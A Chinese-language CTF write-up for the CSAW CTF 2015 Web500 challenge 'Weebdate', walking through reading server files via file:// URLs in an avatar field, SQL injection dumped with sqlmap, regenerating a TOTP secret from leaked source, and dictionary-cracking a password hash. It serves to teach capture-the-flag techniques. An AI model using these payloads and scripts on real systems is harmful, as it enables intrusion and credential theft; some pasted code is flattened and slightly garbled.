转载

CTF Writeup:CSAW CTF 2015 Web500解题过程

在上周我有幸参加了CSAW CTF比赛,最终我的团队获得了参加决赛的资格。在我们挑战的所有题目中,其中Web类500分的题是我见过的最有趣的,也是最符合真实环境的题目。接下来我就来讲讲我们是如何拿到这道题的旗子的。

面临的挑战

Web 500应用被称为"Weebdate",是一个被称为“superior security in the wake of the Ashley Madison hack”的模拟数据站点,该应用采用Time-based One-time Password (TOTP)[基于时间的一次性密码]算法,作为所有账户身份验证的第二个因素,简单点说也就是意味着用户登录需要提供用户名,密码,以及TOTP算法获取的值。该题的目标是绕过TOTP验证码以及唐纳德·特朗普(美国地产大亨)的Weebdate账户密码。

本地文件包含

我们注册一个账户之后,找到“编辑个人资料”页面

http://54.210.118.179/profile/edit

CTF Writeup:CSAW CTF 2015 Web500解题过程

个人资料编辑页面运行用户编辑个性签名以及头像,个性签名这个功能中没啥特别有趣的东西,接着我们将目光移向了头像编辑上。

如上图所示,个人头像区域支持URL。经过测试,我们确定了头像区域的URL会经过Python urllib.urlopen函数进行处理,检测这个文件确实是一张图片,并将头像区域的URL设置为已经检测过的图像文件地址。填写一个有效的图片地址所返回的HTML响应:

CTF Writeup:CSAW CTF 2015 Web500解题过程

这个函数最有趣的地方是在检索到的文件不是一张图片,如下图所示:

CTF Writeup:CSAW CTF 2015 Web500解题过程

我们将包含"Hello there!"句子的文件放入个人Web服务器上,然后将文件URL传递给应用程序。这样就有了上面大家看到的响应,这表明当检索到的文件不是一张图片时,文件的内容将会反映到html响应中。

这样看起来好像我们与目标进了一步,Python的 urllib.urlopen函数支持 "file" scheme 。我们尝试从搭载应用程序的服务器上检索/etc/hosts文件,从应用程序的头中披露的信息表明其服务器使用的是Ubuntu系统。

我们将下面的URL地址作为头像地址传递给应用程序

file://localhost/etc/hosts

下面截图显示了部分HTML响应结果

CTF Writeup:CSAW CTF 2015 Web500解题过程

Great success!果真,将file:// URLs传递到个人头像编辑函数,允许我们从服务器上读取文件。我们再来看看应用程序的头文件,我们确定了应用程序运行了Apache。

CTF Writeup:CSAW CTF 2015 Web500解题过程

由于服务器运行Apache,我们进而想到了抓取Apache站点配置文件。幸运女神十分眷顾我们,应用程序运行的是低于"000-default.conf"配置的标准

我们将下面的地址传递给个人头像URL中:

file://localhost/etc/apache2/sites-enabled/000-default.conf

服务器爆出了Apache站点配置文件内容,在配置文件中有一个引用传递给下面路径:

/var/www/application.wsgi

我们检索这个文件的内容,如下所示:

CTF Writeup:CSAW CTF 2015 Web500解题过程

该文件包含了将/var/www/weeb首次添加到内部$PATH list的Python代码,然后从名为"server"的模块调用名为"app"的变量。这表明server模块有可能就存在于/var/www/weeb,如果真是这样那么很有可能就有一个名为server.py的文件。接着通过下面URL尝试检索文件:

file://localhost/var/www/weeb/server.py

ok,我们终于能够一睹搭建Weebdate网站的源代码,server.py文件的开头如下:

from flask import Flask, render_template, request, Response, redirect from flask.ext.mysqldb import MySQL from functools  import wrapsimport os, pwd, grp, random, struct, time, pyotp, urllib2, urlparse, imghdr, sy import util sys.path.insert(0, '/home/csaw/development/weeb')  import logging, sy logging.basicConfig(stream=sys.stderr) app = Flask(__name__) app.config.from_object('settings') mysql = MySQL() mysql.init_app(app) utils.mysql = mysql

如上所示server.py文件调用"utils",另一个传递给/var/www/weeb/utils.py文件的请求返回了更多有关服务器的代码,开头如下所示:

# I apologize to any future developers and anyone else who may have to read this code # :( import time, struct, random, socket, hashlib, pyotp, hmac def FetchOneAssoc(cursor):   data = cursor.fetchone()   if data == None:     return None   desc = cursor.description   res = {}   for (name, value) in zip(desc, data):     res[name[0]] = value   return res 

此外,我们还需要获取唐纳德·特朗普的TOTP密钥,以及账户密码。再次回顾代码,我们从负责生成TOTP密钥的utils.py 和server.py中发现了以下函数:

@app.route('/register', methods=['GET', 'POST']) def show_registration():   user = utils.get_user_from_cookie(request)   page_name = "register"   if request.method.lower() == "get":     page_content = render_template('register.html')     return render_page(page_content, 'register', user=user)   if request.method.lower() == "post":     username = request.form.get('username') or ''     password = request.form.get('password') or ''     if not username or not password :       page_content = render_template('register.html', message="Missing field")     return render_page(page_content, page_name)   if utils.check_username(username):       page_content = render_template('register.html', message="That username is taken!")     return render_page(page_content, page_name)     seed = utils.generate_seed(username, request.remote_addr)     totp_key = utils.get_totp_key(seed)     utils.register_user(username, password, request.remote_addr)     qr_url = "http://api.qrserver.com/v1/create-qr-code/?data=otpauth://totp/%s?secret=%s&size=220x220&margin=0"%(username, totp_key)     page_content = render_template(       'register.html',       message='Success! <a href="/login">login here</a><br />TOTP Key: %s<br /><img src="%s" />' % (totp_key, qr_url)         )         return render_page(page_content, page_name) def generate_seed(username, ip_address):  return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] def get_totp_key(seed):   random.seed(seed)   return pyotp.random_base32(16, random) 

下面的函数负责在应用程序数据库创建用户记录:

def register_user(username, password, ip_address):         password = hashlib.sha256(username+password).hexdigest()         cursor = mysql.connection.cursor()         cursor.execute(                 'insert into users (user_name, user_password, user_ip) VALUES (%s, %s, %s)',                 (username, password, ip_address)         )         mysql.connection.commit()

纵观上面的种种,显然我们需要获取唐纳德·特朗普注册时的IP地址来生成它的TOTP密钥,并把他的密码存储在应用程序的数据库中,我们只有想另外的方法搞定数据库了….

SQL注入

从server.py中获取到下面代码:

@app.route('/csp/view/') def csp_view(report_id):         return Response(repr(utils.get_csp_report(report_id)), mimetype='text/json')

从utils.py文件中我们发现utils.get_csp_report函数:

def get_csp_report(report_id):         cursor = mysql.connection.cursor()         cursor.execute(                 'select * from reports where report_id = %s'%                 (report_id,)         )         return FetchOneAssoc(cursor)

将两者联系起来,很明显/csp/view/<repord_id>端点存在SQL注入。

使用sqlmap从weeb数据库列出user表中的内容,通过下面命令:

sqlmap -u "http://54.210.118.179/profile/edit" --dump -D weeb -T users

果然,唐纳德·特朗普的账号在表中就排第一。

CTF Writeup:CSAW CTF 2015 Web500解题过程

现在我们就需要生成TOTP密钥了,并破解其密码hash

生成TOTP密钥

就像之前我们说到的,生成TOTP密钥需要用户名以及注册IP地址。

因为我们已经获得生成TOTP密钥的两类信息,接下来我就基于从server.py和utils.py文件发现的代码,写了一个Python脚本来生成TOTP密钥。

import struct import socket import pyotp import random  ip_address = "64.124.192.210" username = "donaldtrump"  seed = int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] random.seed(seed) print(pyotp.random_base32(16, random))

运行脚本后的结果如下:

CTF Writeup:CSAW CTF 2015 Web500解题过程

此处应该可以有掌声和尖叫声,现在只剩下破解密码hash

密码破解

从上面的register_user函数中我们可以看到使用账户和密码生成的密码hash存储在应用程序数据库

password = hashlib.sha256(username+password).hexdigest()

现有的彩虹表,对我们现在这种情况帮助不大。我使用最常见的10k密码字典来爆破唐纳德·特朗普的密码hash

import hashlib file_path = "/Users/lavalamp/Documents/Hacking Lists/Passwords/10k most common.txt" to_match = "22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3" username = "donaldtrump" with open(file_path, "r") as f:   contents = f.read() c_split = [x.strip() for x in contents.split("/n")] for line in c_split:   result = hashlib.sha256(username + line).hexdigest()   if result == to_match:     print("Found his password: %s!" % (line,)) 

脚本运行结果:

CTF Writeup:CSAW CTF 2015 Web500解题过程

尖叫吧!

最后的整理

在CSAW比赛官网中对flag的描述如下:

md5($TOTPsecret.$zebra)

这是一个PHP代码片段,将本地PHP脚本进行整理,然后执行:

<?php echo md5("6OIMTPLHSQ6JUKYPzebra"); ?>

代码运行结果如下:

CTF Writeup:CSAW CTF 2015 Web500解题过程

ok,这是一个有效的flag值。我们团队成功获得500分,瞬间提高了我们的排名。

最后希望你能够喜欢这篇Writeup

* 参考来源: avala , 编译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...